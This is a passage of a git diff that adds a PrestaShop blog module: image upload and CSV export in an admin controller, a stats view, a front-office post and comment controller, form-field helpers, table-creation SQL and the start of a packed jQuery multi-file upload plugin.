time() + $j; + $ext = substr(strrchr($file['name'], '.'), 1); + $img_name = $curr_time . '.' . $ext; + + $dest = _PS_ROOT_DIR_ . '/' . $save_path; + + $this->checkFile($file, $dest); + $id_img = $object->addImage($img_name, 0); + $this->uploadFile($file, $dest . $img_name); + + $object->generateImageThumbs($id_img); + } catch (Exception $e) { + $this->_errors[] = Tools::displayError($e->getMessage()); + if (!is_null($id_img)) + $object->removeImage($id_img); + } + + $j++; + } + } + + BlogShop::generateSitemap(); + + if (Tools::getValue('blog_img_default')) { + $idImg = Tools::getValue('blog_img_default'); + $object->setImageDefault($idImg); + } elseif ($object->getImages(true) > 0) { + $object->setImageDefault(0); + } + } + } + + return $object; + } + + protected function checkFile($_file, $save_path) { + + $supported_formats = explode("|", $this->conf['file_formats']); + $save_path = rtrim($save_path, '/') . "/"; + $MAX_FILENAME_LENGTH = 128; + $max_file_size_in_bytes = 2147483647; + + $uploadErrors = array(0 => "There is no error, the file uploaded with success", + 1 => "The uploaded file exceeds the upload_max_filesize directive in php.ini", + 2 => "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form", + 3 => "The uploaded file was only partially uploaded", + 4 => "No file was uploaded", + 6 => "Missing a temporary folder"); + $tmp_file = $_file['tmp_name']; + $file_name = $_file["name"]; + //erreurs diverses + if (isset($_file["error"]) && $_file["error"] != 0) { + throw new Exception("Error in file " . $file_name . " with message : " . $uploadErrors[$_file["error"]]); + } + $ext = substr(strrchr($file_name, '.'), 1); + if (count($supported_formats) > 0) { + if (!in_array($ext, $supported_formats)) + throw new Exception("File format \"." . $ext . "\" is not allowed (" . implode(',', $supported_formats) . ")"); + } + $file_size = @filesize($tmp_file); + //size + if ($file_size > $max_file_size_in_bytes) { + throw new Exception("the file " . $file_name . " is too heavy (" . $file_size . "), max size : " . $max_file_size_in_bytes); + } + //check filename + if (strlen($file_name) == 0 || strlen($file_name) > $MAX_FILENAME_LENGTH) { + throw new Exception("the filename is not valid."); + } + return true; + } + + protected function uploadFile($_file, $file_name) { + $tmp_file = $_file['tmp_name']; + if (!@move_uploaded_file($tmp_file, $file_name)) { + throw new Exception("the file " . $file_name . " was not uploaded"); + } + return true; + } + + + public function processExport() + { + if($this->_select != '') + $this->_select .= ','; + + $this->_select .= '(SELECT GROUP_CONCAT(pr2.value) FROM ' . _DB_PREFIX_ . 'blog_post_relation pr2 + WHERE pr2.id_blog_post = a.id_blog_post AND pr2.`key` = "category" ) as category '; + + $this->_select .= ' ,(SELECT GROUP_CONCAT(pr3.value) FROM ' . _DB_PREFIX_ . 'blog_post_relation pr3 + WHERE pr3.id_blog_post = a.id_blog_post AND pr3.`key` = "product" ) as product '; + + $this->_select .= ' ,(SELECT GROUP_CONCAT(pr4.value) FROM ' . _DB_PREFIX_ . 'blog_post_relation pr4 + WHERE pr4.id_blog_post = a.id_blog_post AND pr4.`key` = "post" ) as `post` '; + + $this->_select .= ' ,(SELECT GROUP_CONCAT(pi.img_name) FROM ' . _DB_PREFIX_ . 'blog_image pi + WHERE pi.id_blog_post = a.id_blog_post) as `image_name` '; + + $this->_select .= ' ,(SELECT GROUP_CONCAT(ps.id_shop) FROM ' . _DB_PREFIX_ . 'blog_post_shop ps + WHERE ps.id_blog_post = a.id_blog_post) as `shop` '; + + $this->_select .= ' ,(SELECT GROUP_CONCAT(ps.id_shop) FROM ' . _DB_PREFIX_ . 'blog_post_shop ps + WHERE ps.id_blog_post = a.id_blog_post) as `shop` '; + + $this->_select .= ' ,(SELECT pi2.img_name FROM ' . _DB_PREFIX_ . 'blog_image pi2 + WHERE pi2.id_blog_post = a.id_blog_post AND pi2.`default` = 1) as `image_default` '; + + $this->fields_list['content'] = array('title' => $this->l('Content')); + $this->fields_list['link_rewrite'] = array('title' => $this->l('Url')); + $this->fields_list['category'] = array('title' => $this->l('Categories')); + $this->fields_list['product'] = array('title' => $this->l('Related products')); + $this->fields_list['post'] = array('title' => $this->l('Related posts')); + $this->fields_list['image_default'] = array('title' => $this->l('Image default')); + $this->fields_list['image_name'] = array('title' => $this->l('Images')); + $this->fields_list['meta_keywords'] = array('title' => $this->l('Meta keywords')); + $this->fields_list['meta_description'] = array('title' => $this->l('Meta description')); + $this->fields_list['shop'] = array('title' => $this->l('Shops')); + + // clean buffer + if (ob_get_level() && ob_get_length() > 0) + ob_clean(); + $this->getList($this->context->language->id); + if (!count($this->_list)) + return; + + header('Content-type: text/csv'); + header('Content-Type: application/force-download; charset=UTF-8'); + header('Cache-Control: no-store, no-cache'); + header('Content-disposition: attachment; filename="'.$this->table.'_'.date('Y-m-d_His').'.csv"'); + + + $headers = array(); + foreach ($this->fields_list as $datas) + $headers[] = Tools::htmlentitiesDecodeUTF8($datas['title']); + $content = array(); + foreach ($this->_list as $i => $row) + { + $content[$i] = array(); + $path_to_image = false; + foreach ($this->fields_list as $key => $params) + { + $field_value = isset($row[$key]) ? Tools::htmlentitiesDecodeUTF8($row[$key]) : ''; + if ($key == 'image') + { + if ($params['image'] != 'p' || Configuration::get('PS_LEGACY_IMAGES')) + $path_to_image = Tools::getShopDomain(true)._PS_IMG_.$params['image'].'/'.$row['id_'.$this->table].(isset($row['id_image']) ? '-'.(int)$row['id_image'] : '').'.'.$this->imageType; + else + $path_to_image = Tools::getShopDomain(true)._PS_IMG_.$params['image'].'/'.Image::getImgFolderStatic($row['id_image']).(int)$row['id_image'].'.'.$this->imageType; + if ($path_to_image) + $field_value = $path_to_image; + } + $field_value = str_replace(array("\r","\n",";"),"",$field_value); + $content[$i][] = $field_value; + } + } + + $this->context->smarty->assign(array( + 'export_precontent' => "\xEF\xBB\xBF", + 'export_headers' => $headers, + 'export_content' => $content + ) + ); + + $this->layout = 'layout-export.tpl'; + } + +} \ No newline at end of file diff --git a/modules/psblog/controllers/admin/AdminBlogStatsController.php b/modules/psblog/controllers/admin/AdminBlogStatsController.php new file mode 100755 index 0000000..f7250d9 --- /dev/null +++ b/modules/psblog/controllers/admin/AdminBlogStatsController.php @@ -0,0 +1,99 @@ +display = 'view'; + parent::initContent(); + } + + public function renderView() + { + + $post_nb = BlogPost::listPosts(false, false, null, null, true, null, null, null, null, null); + $post_nb_active = BlogPost::listPosts(false, true, null, null, true, null, null, null, null, null); + $post_popular = BlogVisit::getPopularPosts(); + $post_popular_unique = BlogVisit::getPopularPosts(10,true); + $post_commented = BlogComment::getCommentedPosts(10); + + $category_nb = BlogCategory::listCategories(false, false, false,true, null); + $category_nb_active = BlogCategory::listCategories(false, true, false, true, null); + $category_popular = BlogVisit::getPopularCategories(10); + $category_popular_unique = BlogVisit::getPopularCategories(10,true); + + $comment_nb_wait = BlogComment::getByStatus(1,true); + $comment_nb = BlogComment::getByStatus(null,true); + $comment_nb_active = BlogComment::getByStatus(2,true); + $comment_nb_inactive = BlogComment::getByStatus(3,true); + + $blog_url = BlogCategory::linkCategory(1); + $blog_conf = Psblog::getBlogConfigurationLink(); + + $l = array('comments_waiting' => $this->l('Comments awaiting moderation'), + 'published_comments' => $this->l('Published comments'), + 'refused_comments' => $this->l('Refused comments'), + 'number_comments' => $this->l('Number of comments'), + 'blog_comments' => $this->l('Blog comments'), + 'number_of_articles' => $this->l('Number of posts'), + 'published_articles' => $this->l('Published posts'), + 'number_of_articles' => $this->l('Number of posts'), + 'popular_posts' => $this->l('Popular posts'), + 'visits' => $this->l('Visits'), + 'visits_unique' => $this->l('Unique visitors'), + 'id' => $this->l('Id'), + 'number' => $this->l('Number'), + 'name' => $this->l('Name'), + 'title' => $this->l('Title'), + 'more_commented' => $this->l('More commented posts'), + 'popular_categories' => $this->l('Popular categories'), + 'number_categories' => $this->l('Number of categories'), + 'published_categories' => $this->l('Published categories'), + 'blog_categories' => $this->l('Blog categories'), + 'blog_configuration_page' => $this->l('View blog configuration page'), + 'blog_informations' => $this->l('Blog informations'), + 'blog_posts' => $this->l('Blog posts'), + 'no_data' => $this->l('No data') + ); + + $this->tpl_view_vars = array( + 'l' => $l, + 'blog_url' => $blog_url, + 'blog_conf' => $blog_conf, + 'comment' => array( + 'comment_nb_wait' => $comment_nb_wait, + 'comment_nb' => $comment_nb, + 'comment_nb_active' => $comment_nb_active, + 'comment_nb_inactive' => $comment_nb_inactive, + + ), + 'post' => array( + 'nb' => $post_nb, + 'nb_active' => $post_nb_active, + 'popular' => $post_popular, + 'popular_unique' => $post_popular_unique, + 'commented' => $post_commented, + ), + 'category' => array( + 'nb' => $category_nb, + 'nb_active' => $category_nb_active, + 'popular' => $category_popular, + 'popular_unique' => $category_popular_unique, + )); + + return parent::renderView(); + } + + public function initToolBar() + { + return; + } +} \ No newline at end of file diff --git a/modules/psblog/controllers/form.tpl b/modules/psblog/controllers/form.tpl new file mode 100755 index 0000000..f6cec8f --- /dev/null +++ b/modules/psblog/controllers/form.tpl @@ -0,0 +1,18 @@ +{extends file="helpers/form/form.tpl"} + +{block name="label"} + {if $input.type == 'text_label' && !isset($customer)} + {if isset($input.label)}{/if} + {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name="field"} + {if $input.type == 'text_label'} +
        {$fields_value[$input.name]}
        + {else} + {$smarty.block.parent} + {/if} + +{/block} \ No newline at end of file diff --git a/modules/psblog/controllers/front/posts.php b/modules/psblog/controllers/front/posts.php new file mode 100755 index 0000000..6b1c145 --- /dev/null +++ b/modules/psblog/controllers/front/posts.php @@ -0,0 +1,337 @@ +context = Context::getContext(); + $this->conf = Psblog::getPreferences(); + } + + public function init() { + Tools::switchLanguage(); //switch language if lang param, ps bug. + + /*** URL MANAGEMENT ***/ + + if (Tools::getIsset('post') && is_numeric(Tools::getValue('post'))) { + $this->id_post = (int) Tools::getValue('post'); + } elseif (Tools::getIsset('category') && is_numeric(Tools::getValue('category'))) { + $this->id_category = (int) Tools::getValue('category'); + }else{ + $this->id_category = 1; //all + } + + if(Tools::getIsset('y') && is_numeric(Tools::getValue('y'))){ + $this->year = (int) Tools::getValue('y'); + } + + if(Tools::getIsset('m') && is_numeric(Tools::getValue('m'))){ + $this->month = (int) Tools::getValue('m'); + } + + parent::init(); + + $this->list_link = BlogPost::linkList(); + } + + public function setMedia() { + parent::setMedia(); + $this->addCSS($this->module->getPathUri() . 'psblog.css'); + } + + public function displayList() { + + $id_lang = $this->context->language->id; + $id_shop = $this->context->shop->id; + + $limit_per_page = intval($this->conf['list_limit_page']); + $current_page = Tools::getIsset('p') && is_numeric(Tools::getValue('p')) ? intval(Tools::getValue('p')) : 1; + $start = ($current_page - 1) * $limit_per_page; + + $category = null; + if (!is_null($this->id_category) && is_numeric($this->id_category)) { + $category = new BlogCategory((int)$this->id_category,$id_lang); + + if(!$category->isAllowed() || !$category){ + $category->active = 0; + }else{ + + if(!is_null($category->id_blog_category_parent) && !empty($category->id_blog_category_parent)){ + $parent_category = new BlogCategory((int) $category->id_blog_category_parent,$id_lang); + if(!$parent_category->isAllowed()){ + $category->active = 0; + }else{ + $this->context->smarty->assign('parent_category', $parent_category); + $this->context->smarty->assign('parent_category_link', BlogCategory::linkCategory($parent_category->id,$parent_category->link_rewrite)); + } + } + } + } + + if ($category && $category->active && $category->id != 1) { + + $nb_articles = $category->nbPosts(true, true); + + // first page if page not exists + $max_page = ceil($nb_articles / $limit_per_page); + if ($max_page < $current_page) { + $current_page = 1; + $start = 0; + } + $list = $category->getPosts(true, true, $start, intval($this->conf['list_limit_page'])); + + /* Metas */ + $curr_meta_title = $this->context->smarty->getTemplateVars('meta_title'); + $this->context->smarty->assign(array('meta_title' => $curr_meta_title . ' - ' . $category->name, + 'meta_description' => $category->meta_description, + 'meta_keywords' => $category->meta_keywords)); + + $categoryLink = BlogCategory::linkCategory($category->id, $category->link_rewrite); + $paginationLink = BlogCategory::linkCategory($category->id, $category->link_rewrite,''); + $subcategories = BlogCategory::getSubCategories($category->id,true); + + $this->context->smarty->assign(array('categoryLink' => $categoryLink, + 'subcategories' => $subcategories, + 'post_category' => $category, + 'paginationLink' => $paginationLink)); + + } elseif($category && $category->active && $category->id == 1){ + + //DEFAULTS LISTS + + $curr_meta_title = $this->context->smarty->getTemplateVars('meta_title'); + $this->context->smarty->assign(array('meta_title' => $curr_meta_title . ' - ' . $category->name, + 'meta_description' => $category->meta_description, + 'meta_keywords' => $category->meta_keywords, + 'post_category' => $category)); + + if (Tools::getIsset('search') && Tools::getValue('search') != '') { + //search articles + $search_query = Tools::getValue('search'); + + $nb_articles = BlogPost::searchPosts($search_query, true, true, true); + $list = BlogPost::searchPosts($search_query, true, true, false, $start, $limit_per_page); + + $this->context->smarty->assign('search_query_nb', $nb_articles); + $this->context->smarty->assign('search_query', $search_query); + $this->context->smarty->assign('paginationLink',BlogPost::linkList('',null,array('search='.$search_query))); + + }elseif(!is_null($this->year) || !is_null($this->month)){ + + /*** archives ***/ + $nb_articles = BlogPost::listPosts(true, true, null, null, true, null, null, null,$this->year, $this->month); + $list = BlogPost::listPosts(true, true, $start, $limit_per_page, false, null, null, null, $this->year, $this->month); + + $params = array(); + if(!is_null($this->year)){ + $params[] = 'y='.$this->year; + } + + if(!is_null($this->month)){ + $params[] = 'm='.$this->month; + } + + $this->context->smarty->assign('paginationLink',BlogPost::linkList('',null,$params)); + + } else { + + /*** ALL ARTICLES ***/ + $nb_articles = BlogPost::listPosts(true, true, null, null, true, null, null, null); + $list = BlogPost::listPosts(true, true, $start, $limit_per_page, false, null, null, null); + $this->context->smarty->assign('paginationLink',BlogPost::linkList('')); + } + + + } else { + + //NOT FOUND + $this->redirect_after = '404'; + $this->redirect(); + } + + BlogVisit::setNewConnexion('category',$category->id); + + if (isset($list) && is_array($list) && count($list)) { + + /** pagination **/ + $nb_pages = ceil($nb_articles / $limit_per_page); + + $next = $current_page > 1 ? true : false; //articles plus recents + $back = $current_page >= 1 && ($current_page < $nb_pages) ? true : false; //articles precedents + + $i = 0; + foreach ($list as $val) { + $post = new BlogPost($val['id_blog_post']); + $list[$i]['categories'] = $post->listCategories(); + $i++; + } + + $this->context->smarty->assign(array( + 'post_list' => $list, + 'next' => $next, + 'back' => $back, + 'curr_page' => $current_page + )); + } + + $this->setTemplate('list.tpl'); + } + + public function displayPost() { + + $id_lang = $this->context->language->id; + $id_shop = $this->context->shop->id; + + if (is_null($this->id_post) || !is_numeric($this->id_post)) { + return $this->displayList(); + } + + $post = new BlogPost($this->id_post,$id_lang); + + if ($post && $post->status == 'published' && strtotime($post->date_on) < time() && $post->isAssociatedToLang($id_lang) && $post->isAssociatedToShop($id_shop)) { + + //comment submit + if (Tools::isSubmit('submitMessage') && $this->conf['comment_active'] && $post->allow_comments) { + $comment = new BlogComment(); + + try { + $message = trim(strip_tags(Tools::getValue('blog_comment'))); + $comment->id_blog_post = $this->id_post; + $comment->customer_name = pSQL(Tools::getValue('customer_name')); + + if ($message == '' || strlen($comment->customer_name) < (int) $this->conf['comment_name_min_length']) + Throw new Exception('error_input'); + + if (!Validate::isMessage($message) || !Validate::isGenericName($comment->customer_name)) + Throw new Exception('error_input_invalid'); + + $comment->content = $message; + + $id_customer = (int) $this->context->customer->id; + $id_guest = (int) $this->context->cookie->id_guest; + + if (!$this->conf['comment_guest'] && empty($id_customer)) + Throw new Exception('error_guest'); + + //get last comment from customer + $customerComment = BlogComment::getByCustomer($this->id_post, $id_customer, true, $id_guest); + + $comment->id_customer = $id_customer; + $comment->id_guest = $id_guest; + $comment->id_lang = $id_lang; + $comment->id_shop = $id_shop; + + if ($customerComment['content'] == $comment->content) + Throw new Exception('error_already'); + + if ($customerComment && (strtotime($customerComment['date_add']) + (int) $this->conf['comment_min_time']) > time()) + Throw new Exception('error_delay'); + + $comment->active = ($this->conf['comment_moderate']) ? 1 : 2; + $comment->save(); + + $this->context->smarty->assign('psblog_confirmation', true); + } catch (Exception $e) { + + $comment->content = Tools::getValue('blog_comment'); + $comment->customer_name = Tools::getValue('customer_name'); + + $this->context->smarty->assign('psblog_error', $e->getMessage()); + $this->context->smarty->assign('comment', $comment); + } + } + + /*** view article ***/ + $images = $post->getImages(false); + $categories = $post->listCategories($id_lang,true); + $products = $post->getProducts(true); + $related = $post->getRelatedPosts(true, true); + + $related_article = array(); + foreach ($related as $key => $relate) { + $related_article[$relate['id_blog_post']] = $relate; + + $sql = "SELECT img_name FROM ps_blog_image WHERE id_blog_post = " . $relate['id_blog_post'] . ' ORDER BY position DESC'; + $image = Db::getInstance()->getValue($sql); + $related_article[$relate['id_blog_post']]['image'] = $image; + } + + /* SEO metas */ + $curr_meta_title = $this->context->smarty->getTemplateVars('meta_title'); + $this->context->smarty->assign(array('meta_title' => $curr_meta_title . ' - ' . $post->title, + 'meta_description' => $post->meta_description, + 'meta_keywords' => $post->meta_keywords)); + + if ($this->conf['view_display_popin'] == 1) { + $this->addjqueryPlugin('fancybox'); + $this->addJS($this->module->getPathUri().'js/popin.js'); + } + + $comments = $post->getComments(); + + BlogVisit::setNewConnexion('post',$post->id); + + $this->context->smarty->assign(array( + 'post_images' => $images, + 'post_products' => $products, + 'post_related' => $related_article, + 'post_categories' => $categories, + 'post_comments' => $comments + )); + + } else { + $post->status = 'suspended'; + } + + $this->context->smarty->assign('post', $post); + $this->setTemplate('view.tpl'); + } + + public function initContent() { + parent::initContent(); + + if (!is_null($this->id_post) && is_numeric($this->id_post)) { + $this->displayPost(); + } else { + $this->displayList(); + } + + $defaultCategory = new BlogCategory(1,$this->context->language->id); + + $img_path = rtrim($this->conf['img_save_path'], '/') . '/'; + + $this->context->smarty->assign(array('posts_img_path' => _PS_BASE_URL_ . __PS_BASE_URI__ . $img_path, + 'blog_conf' => $this->conf, + 'blog_title' => $defaultCategory->name, + 'logged' => $this->context->customer->isLogged(), + 'customerName' => ($this->context->customer->logged ? $this->context->customer->firstname : false), + 'listLink' => $this->list_link, + 'posts_rss_url' => BlogPost::linkRss())); + } + +} diff --git a/modules/psblog/helper/HelperFieldForm.php b/modules/psblog/helper/HelperFieldForm.php new file mode 100755 index 0000000..7bc92ba --- /dev/null +++ b/modules/psblog/helper/HelperFieldForm.php @@ -0,0 +1,188 @@ + '', 'required' => false); + $opt = array_merge($opt_defaults, $options); + + $content = ' +
        + '; + + if ($opt['required']) + $content .= " *"; + + if (!is_null($description) && !empty($description)) { + $content .= '

        ' . $description . '

        '; + } + + $content .= '
        '; + + return $content; + } + + public static function displayRadioField($name, $option_values, $current_value, $title, $description = '', $options = array()) { + + $opt_defaults = array('required' => false); + $opt = array_merge($opt_defaults, $options); + + $content = ' +
        '; + foreach ($option_values as $option) { + $value = $option['value']; + $label = $option['title']; + $content .= '   '; + } + + if ($opt['required']) + $content .= " *"; + + if (!is_null($description) && !empty($description)) { + $content .= '

        ' . $description . '

        '; + } + + $content .= '
        '; + + return $content; + } + + + public static function displayCheckboxField($name, $option_values, $current_values, $title, $description = '', $options = array()) { + + $opt_defaults = array('required' => false); + $opt = array_merge($opt_defaults, $options); + + $content = ' +
        '; + foreach ($option_values as $option) { + $value = $option['value']; + $label = $option['title']; + $content .= '
        '; + } + + if ($opt['required']) + $content .= " *"; + + if (!is_null($description) && !empty($description)) { + $content .= '

        ' . $description . '

        '; + } + + $content .= '
        '; + + return $content; + } + + public static function displayDateField($name, $value, $title, $description = '', $options = array()) { + $opt_defaults = array('class' => '', 'required' => false); + $opt = array_merge($opt_defaults, $options); + + $content = ' +
        + '; + + if ($opt['required']) + $content .= " *"; + + if (!is_null($description) && !empty($description)) { + $content .= '

        ' . $description . '

        '; + } + + $content .= '
        '; + + return $content; + } + + public static function displayTextField($name, $value, $type, $title, $description = '', $options = array()) { + $opt_defaults = array('size' => 50, + 'cols' => 80, + 'id' => $type . '_' . $name, + 'rows' => 4, + 'class' => '', + 'required' => false, + 'tinymce' => false); + + $opt = array_merge($opt_defaults, $options); + + $content = ' +
        '; + + if ($type == 'text') { + $content .= ''; + } elseif ($type == 'textarea') { + $content .= ''; + } + + if ($opt['required']) + $content .= " *"; + + if (!is_null($description) && !empty($description)) { + $content .= '

        ' . $description . '

        '; + } + + $content .= '
        '; + + $content .= '
        '; + + return $content; + } + + + public static function displayHiddenField($name, $value) { + $content = ''; + return $content; + } + + public static function displayTextLangField($languages,$defaultLanguage, $name, $value = '', $type, $title, $description = '', $options = array()) { + + $opt_defaults = array('size' => 50, + 'cols' => 80, + 'rows' => 4, + 'class' => '', + 'required' => false, + 'tinymce' => false); + + $opt = array_merge($opt_defaults, $options); + + $content = ' +
        '; + + $content .= '
        '; + + if ($opt['required']) + $content .= " *"; + + foreach ($languages as $language) { + $content .= '
        '; + + if ($type == 'text') { + $content .= ''; + } elseif ($type == 'textarea') { + $content .= ''; + } + + $content .= '
        '; + } + + $content .= '
        '; + + if (!is_null($description) && !empty($description)) { + $content .= '

        ' . $description . '

        '; + } + + $content .= '
        +
        '; + + return $content; + } + +} \ No newline at end of file diff --git a/modules/psblog/img/arrow_right_2.png b/modules/psblog/img/arrow_right_2.png new file mode 100755 index 0000000..c970f18 Binary files /dev/null and b/modules/psblog/img/arrow_right_2.png differ diff --git a/modules/psblog/img/rss.png b/modules/psblog/img/rss.png new file mode 100755 index 0000000..ac9ad24 Binary files /dev/null and b/modules/psblog/img/rss.png differ diff --git a/modules/psblog/install-sql.php b/modules/psblog/install-sql.php new file mode 100755 index 0000000..2332ba1 --- /dev/null +++ b/modules/psblog/install-sql.php @@ -0,0 +1,162 @@ +Execute("CREATE TABLE IF NOT EXISTS `"._DB_PREFIX_."blog_category` ( + `id_blog_category` int(10) unsigned NOT NULL AUTO_INCREMENT, + `active` tinyint(1) unsigned DEFAULT '1', + `position` int(10) unsigned DEFAULT NULL, + `id_blog_category_parent` int(10) NOT NULL DEFAULT '0', + PRIMARY KEY (`id_blog_category`) + ) ENGINE="._MYSQL_ENGINE_." DEFAULT CHARSET=utf8;"); + +Db::getInstance()->Execute("CREATE TABLE IF NOT EXISTS `"._DB_PREFIX_."blog_category_lang` ( + `id_blog_category` int(10) unsigned NOT NULL, + `id_lang` int(11) unsigned NOT NULL, + `name` varchar(255) CHARACTER SET utf8 NOT NULL, + `description` text CHARACTER SET utf8 NOT NULL, + `link_rewrite` varchar(128) CHARACTER SET utf8 NOT NULL, + `meta_keywords` varchar(255) CHARACTER SET utf8 NOT NULL, + `meta_description` text CHARACTER SET utf8 NOT NULL, + KEY `id_blog_category` (`id_blog_category`,`id_lang`) + ) ENGINE="._MYSQL_ENGINE_." DEFAULT CHARSET=utf8;"); + +Db::getInstance()->Execute("CREATE TABLE IF NOT EXISTS `"._DB_PREFIX_."blog_post` ( + `id_blog_post` int(10) unsigned NOT NULL AUTO_INCREMENT, + `date_on` date DEFAULT NULL, + `status` enum('published','drafted','suspended') DEFAULT NULL, + `allow_comments` tinyint(1) DEFAULT '0', + PRIMARY KEY (`id_blog_post`) + ) ENGINE="._MYSQL_ENGINE_." DEFAULT CHARSET=utf8;"); + +Db::getInstance()->Execute("CREATE TABLE IF NOT EXISTS `"._DB_PREFIX_."blog_post_lang` ( + `id_blog_post` int(10) unsigned NOT NULL, + `id_lang` int(11) unsigned NOT NULL, + `title` varchar(255) NOT NULL, + `content` text, + `excerpt` text, + `link_rewrite` varchar(128) DEFAULT NULL, + `meta_keywords` varchar(255) DEFAULT NULL, + `meta_description` text, + KEY `id_lang` (`id_lang`), + KEY `id_blog_post` (`id_blog_post`) + ) ENGINE="._MYSQL_ENGINE_." DEFAULT CHARSET=utf8;"); + +Db::getInstance()->Execute("CREATE TABLE IF NOT EXISTS `"._DB_PREFIX_."blog_category_shop` ( + `id_blog_category` int(10) unsigned NOT NULL, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_blog_category`,`id_shop`) + ) ENGINE="._MYSQL_ENGINE_." DEFAULT CHARSET=utf8;"); + +Db::getInstance()->Execute("CREATE TABLE IF NOT EXISTS `"._DB_PREFIX_."blog_comment` ( + `id_blog_comment` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_blog_post` int(10) unsigned NOT NULL, + `id_customer` int(10) unsigned DEFAULT NULL, + `id_guest` int(10) unsigned DEFAULT NULL, + `id_lang` int(10) unsigned NOT NULL, + `id_shop` int(10) unsigned NOT NULL, + `customer_name` varchar(128) NOT NULL, + `content` text NOT NULL, + `date_add` datetime NOT NULL, + `active` tinyint(1) unsigned NOT NULL DEFAULT '0', + PRIMARY KEY (`id_blog_comment`), + KEY `id_blog_post` (`id_blog_post`), + KEY `id_customer` (`id_customer`) + ) ENGINE="._MYSQL_ENGINE_." DEFAULT CHARSET=utf8;"); + +Db::getInstance()->Execute("CREATE TABLE IF NOT EXISTS `"._DB_PREFIX_."blog_image` ( + `id_blog_image` int(10) NOT NULL AUTO_INCREMENT, + `id_blog_post` int(10) NOT NULL, + `img_name` varchar(255) NOT NULL, + `default` tinyint(1) NOT NULL DEFAULT '0', + `position` int(10) unsigned NOT NULL DEFAULT '0', + PRIMARY KEY (`id_blog_image`) + ) ENGINE="._MYSQL_ENGINE_." DEFAULT CHARSET=utf8;"); + +Db::getInstance()->Execute("CREATE TABLE IF NOT EXISTS `"._DB_PREFIX_."blog_post_relation` ( + `id_blog_post_relation` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_blog_post` int(10) unsigned NOT NULL, + `key` varchar(24) NOT NULL, + `value` text NOT NULL, + PRIMARY KEY (`id_blog_post_relation`), + KEY `id_blog_post` (`id_blog_post`) + ) ENGINE="._MYSQL_ENGINE_." DEFAULT CHARSET=utf8"); + +Db::getInstance()->Execute("CREATE TABLE IF NOT EXISTS `"._DB_PREFIX_."blog_category_relation` ( + `id_blog_category_relation` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_blog_category` int(10) unsigned NOT NULL, + `key` varchar(24) NOT NULL, + `value` text NOT NULL, + PRIMARY KEY (`id_blog_category_relation`), + KEY `id_blog_category` (`id_blog_category`) + ) ENGINE="._MYSQL_ENGINE_." DEFAULT CHARSET=utf8"); + +Db::getInstance()->Execute("CREATE TABLE IF NOT EXISTS `"._DB_PREFIX_."blog_post_shop` ( + `id_blog_post` int(10) unsigned NOT NULL, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_blog_post`,`id_shop`) + ) ENGINE="._MYSQL_ENGINE_." DEFAULT CHARSET=utf8;"); + +Db::getInstance()->Execute("CREATE TABLE IF NOT EXISTS `"._DB_PREFIX_."blog_visit` ( + `id_blog_visit` int(10) unsigned NOT NULL AUTO_INCREMENT, + `type_page` varchar(32) NOT NULL, + `id_page` int(10) unsigned NOT NULL, + `ip_address` bigint(20) unsigned NOT NULL, + `counter` int(10) unsigned NOT NULL, + `date_add` datetime NOT NULL, + PRIMARY KEY (`id_blog_visit`), + KEY `id_page` (`id_page`) + ) ENGINE="._MYSQL_ENGINE_." DEFAULT CHARSET=utf8"); + +//default categories + +$categories = array(); +$categories[] =array('name' => array('en' => 'Blog','fr' => 'Blog','es' => 'Blog'), + 'link' => array('en' => 'blog', 'fr' => 'blog', 'es' => 'blog')); + +$categories[] = array('name' => array('en' => 'Blog featured posts','fr' => 'Articles à la une','es' => 'Artículos destacados'), + 'link' => array('en' => 'blog-featured-posts', 'fr' => 'article-a-la-une', 'es' => 'articulos-destacados')); + +$languages = Language::getLanguages(); +$shops = Shop::getShops(); +$customer_groups = Group::getGroups(Context::getContext()->language->id); + +$i = 1; +foreach($categories as $value){ + + $category_groups = array(); + + Db::getInstance()->Execute("DELETE FROM `"._DB_PREFIX_."blog_category` WHERE `id_blog_category` = ".$i); + Db::getInstance()->Execute("INSERT INTO `"._DB_PREFIX_."blog_category`(`id_blog_category`,`active`,`position`,`id_blog_category_parent`) VALUES (".$i.",1,0,0)"); + Db::getInstance()->Execute("DELETE FROM `"._DB_PREFIX_."blog_category_lang` WHERE `id_blog_category` = ".$i); + + $category_langs = array(); + foreach($languages as $l){ + + $title = array_key_exists($l['iso_code'],$value['name']) ? $value['name'][$l['iso_code']] : $value['name']['en']; + $link = array_key_exists($l['iso_code'],$value['link']) ? $value['link'][$l['iso_code']] : $value['link']['en']; + + Db::getInstance()->Execute("INSERT INTO `"._DB_PREFIX_."blog_category_lang`(`id_blog_category`,`id_lang`,`name`,`description`,`link_rewrite`,`meta_keywords`,`meta_description`) + VALUES(".$i.",".$l['id_lang'].",'".$title."','".$title."', '".$link."', '".$title."','".$title."')"); + $category_langs[] = $l['id_lang']; + } + + BlogCategoryRelation::saveRelation($i,'lang',$category_langs); + + Db::getInstance()->Execute("DELETE FROM `"._DB_PREFIX_."blog_category_shop` WHERE `id_blog_category` = ".$i); + foreach($shops as $shop){ + Db::getInstance()->Execute("INSERT INTO `"._DB_PREFIX_."blog_category_shop`(`id_shop`,`id_blog_category`) VALUES(".$shop['id_shop'].",".$i.")"); + } + + foreach($customer_groups as $group) + $category_groups[] = $group['id_group']; + + BlogCategoryRelation::saveRelation($i,'group',$category_groups); + + $i++; +} + +?> \ No newline at end of file diff --git a/modules/psblog/js/jquery.MultiFile.pack.js b/modules/psblog/js/jquery.MultiFile.pack.js new file mode 100755 index 0000000..548dfad --- /dev/null +++ b/modules/psblog/js/jquery.MultiFile.pack.js @@ -0,0 +1,11 @@ +/* + ### jQuery Multiple File Upload Plugin v1.46 - 2009-05-12 ### + * Home: http://www.fyneworks.com/jquery/multiple-file-upload/ + * Code: http://code.google.com/p/jquery-multifile-plugin/ + * + * Dual licensed under the MIT and GPL licenses: + * http://www.opensource.org/licenses/mit-license.php + * http://www.gnu.org/licenses/gpl.html + ### +*/ +eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return 